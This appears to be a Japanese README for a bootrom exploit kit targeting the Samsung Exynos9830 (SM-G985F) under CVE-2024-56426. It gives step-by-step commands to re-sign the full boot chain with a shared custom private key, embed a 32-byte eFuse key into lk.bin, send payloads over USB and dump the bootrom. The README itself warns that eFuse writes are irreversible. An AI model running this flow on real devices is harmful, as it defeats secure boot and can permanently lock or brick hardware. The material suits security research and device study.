
# CVE-2024-56426 Exynos9830 Bootrom エクスプロイト - SM-G985F
[!CAUTION] 現在のキーバンドルと生成されたファイルはヒュージング対応です。デバイスが一度ヒューズされると、eFuseの変更は不可逆であり、デバイスはヒューズされたキーに一致するブートイメージとキーマテリアルを引き続き使用する必要があります。ヒュージング動作により、これらのファイルまたはフローを使用する場合は自己責任となります。実行するユーザーがすべての結果に対する責任を負います。ヒュージングフローを実行する前に、eFuseファイル、秘密鍵、署名済みFWBL1、LK /
sboot.binイメージ、および対象デバイスを確認してください。
| Path | Purpose |
|---|---|
bootLoaderFiles/ | ブートローダーバイナリ、分割されたブートローダーパーツ、オリジナルイメージ、復号化されたイメージ、およびダンプ成果物。 |
bootromNotes/ | ブートROMのノート、フローチャート、USBコンテキストオフセット。 |
exploit/ | Pythonツール、エクスプロイトランナー、分割/結合スクリプト、ペイロードビルドヘルパー、SoCデータ。 |
exploit/extra/images/ | エクスプロイトフローで使用される動作するブートローダーイメージ。 |
exploit/extra/payloads/ | external/payloads/ からコピーされたビルド済みペイロードバイナリ。 |
external/ | ペイロードソース、ビルドMakefile、逆コンパイルノート、共有キーマテリアル、ヘルパーツール。 |
external/keys/exynos9830_crecker/ | 署名付きローダーフローで使用される共有Exynos9830 / Exynos990カスタムキーバンドル。 |
exynos990reverseEng/ | Exynos 990リバースエンジニアリングプロジェクトファイル。 |
sudo apt-get update
sudo apt-get install -y gcc-aarch64-linux-gnu binutils-aarch64-linux-gnu
brew tap messense/macos-cross-toolchains
brew install aarch64-unknown-linux-gnu
python3 -m pip install -r requirements.txt
requirements.txt には、coloredlogs、cryptography、hexdump、libusb、pyusb、pycryptodome が含まれます。
Windowsでは、PyUSBがBootROM USBデバイス 04e8:1234 を開く前に、WinUSB/libusb互換ドライバーを使用する必要があります。exploit/windows/README.md を参照してください。
リポジトリには、exploit/windows/Exynos_USB_Device.inf にWinUSBドライバーパッケージが含まれており、対応するカタログと証明書インポートファイルも同じディレクトリにあります。
sboot.bin の分割python3 exploit/split.py bootLoaderFiles/originalSboot_K/sboot.bin -o exploit/extra/images
分割スクリプトは、イメージパーツと split_manifest.json ファイルを出力ディレクトリに書き込みます。
LKイメージは、カスタムキーフロー用にROMセキュアブートキー2のコマンドIDを使用する必要があります:
| キー1コマンド | 値 | キー2コマンド | 値 |
|---|---|---|---|
CMD_W_ROM_SEC_BOOT_KEY1 | 0x001 | CMD_W_ROM_SEC_BOOT_KEY2 | 0x016 |
CMD_W_USE_ROM_SEC_BOOT_KEY1 | 0x002 | CMD_W_USE_ROM_SEC_BOOT_KEY2 | 0x017 |
CMD_C_ROM_SEC_BOOT_KEY1 | 0x100 | CMD_C_ROM_SEC_BOOT_KEY2 | 0x114 |
CMD_R_USE_ROM_SEC_BOOT_KEY1 | 0x101 | CMD_R_USE_ROM_SEC_BOOT_KEY2 | 0x115 |
Ghidraプロジェクト内でLKパッチTSVを適用する際、ヘルパーは次のようにGhidraヘッドレス経由で呼び出されました:
GHIDRA=/path/to/ghidra_12.0.4_PUBLIC
REPO=$(pwd)
"$GHIDRA/support/analyzeHeadless" "$REPO/exynos990reverseEng" exynos990 \
-process lk.bin \
-noanalysis \
-scriptPath "$REPO/external/ghidra" \
-postScript ApplyLkPatches.java "$REPO/external/ghidra/lk_985_selected_patches.tsv"
ストックキーを置き換えて、32バイトのeFuseキーをオフセット 0x205008 の lk.bin に埋め込みます:
dd if=external/keys/exynos9830_crecker/crecker.efuse of=exploit/extra/images/lk.bin bs=1 seek=$((0x205008)) count=32 conv=notrunc
xxd -g1 -s $((0x205008)) -l 32 exploit/extra/images/lk.bin
python3 exploit/merge.py exploit/extra/images Exynos9830
結合スクリプトは、現在の作業ディレクトリに sboot.bin を書き込みます。
external/payloads/ 配下のペイロードプロジェクトをビルドし、生成されたバイナリを exploit/extra/payloads/ にコピーします:
./exploit/build_payloads.sh
| ペイロード | 出力パス | 目的 |
|---|---|---|
mem.bin | exploit/extra/payloads/mem.bin | ブートROMメモリダンプペイロード。 |
loader.bin | exploit/extra/payloads/loader.bin | --ufs で使用されるUFSパスペイロード。 |
Exynos990_boot_custom_key.bin | exploit/extra/payloads/Exynos990_boot_custom_key.bin | --signed で使用されるカスタムキー署名付きローダーペイロード。 |
UFSローダーとカスタムキーペイロードは、ビルド時に32バイトのefuseファイルを埋め込みます。デフォルトでは、Makefileは external/keys/exynos9830_crecker/crecker.efuse を読み取ります。必要な場合は、CUSTOM_KEY_EFUSE=/path/to/crecker.efuse でこれを上書きします。
exploit/exploit.py によって実行されるプリフライトステップは、各署名付き実行の前に exploit/extra/images/ 内のSBootイメージセットをその場で再署名します。別個の署名済み出力は保持されません。署名ステップでは、external/keys/exynos9830_crecker/ の下にある意図的に追跡された共有キーバンドルを使用します。
完全なイメージセットに対するリポジトリルート相当のコマンド:
python3 external/tools/sign_sboot_images.py \
--images-dir exploit/extra/images \
--keys-dir external/keys/exynos9830_crecker
これは次のイメージに署名します:
| イメージ | 使用されるキーマテリアル | ロールバックリビジョン |
|---|---|---|
fwbl1.img | BL1秘密鍵 + Stage2 TEE/REE公開鍵 | 23 |
epbl.img | Stage2 TEE秘密鍵 | 23 |
bl2.img | Stage2 REE秘密鍵 | 23 |
lk.bin | Stage2 REE秘密鍵 | 23 |
el3_mon.img | Stage2 TEE秘密鍵 | 23 |
ldfw.img | Stage2 TEE秘密鍵、内側+外側 | 23 |
tzsw.img | Stage2 TEE秘密鍵、内側+外側 | 23 |
バッチ署名ツールは、すべてのイメージに10進数の 23 を渡し、既存のフッターにすでに存在する古いロールバック値を再利用しません。
epbl.img は、必要に応じて最初に再暗号化され、その後、最終バイトに対して署名されます。ldfw.img と tzsw.img のAVBコンテンツを更新する場合は、外部AVBフローが依然として必要です。
FWBL1のみのコマンド:
python3 external/tools/sign_tool.py \
-i exploit/extra/images/fwbl1.img \
-o exploit/extra/images/fwbl1.img \
-k external/keys/exynos9830_crecker/crecker_private.pem \
-H external/keys/exynos9830_crecker/crecker.hmac \
-s 0x3000 \
-r 23 \
-ma 0x9830 \
-m 0x142 \
-e 11 \
-t external/keys/exynos9830_crecker/crecker_stage2_tee_pubkey.bin \
-re external/keys/exynos9830_crecker/crecker_stage2_ree_pubkey.bin
sign_tool.py、fwbl1.img、および crecker_* ファイルが現在のディレクトリにある場合の短縮形:
python3 sign_tool.py -i fwbl1.img -o fwbl1.img -k crecker_private.pem -H crecker.hmac -s 0x3000 -r 23 -ma 0x9830 -m 0x142 -e 11 -t crecker_stage2_tee_pubkey.bin -re crecker_stage2_ree_pubkey.bin
特に記載がない限り、リポジトリルートからコマンドを実行します。
| コマンド | モード | デフォルトペイロード | 備考 |
|---|---|---|---|
python3 exploit/exploit.py --ufs | UFSパス | loader.bin | UFSペイロードフローを開始します。 |
python3 exploit/exploit.py --signed | 署名付きブートチェーン | Exynos990_boot_custom_key.bin | SBootイメージセットを再署名し、イメージを送信します。 |
python3 exploit/exploit.py --dump | ブートROMダンプ | mem.bin | 0x20000 バイトを exynos990.bootrom.bin に受信します。 |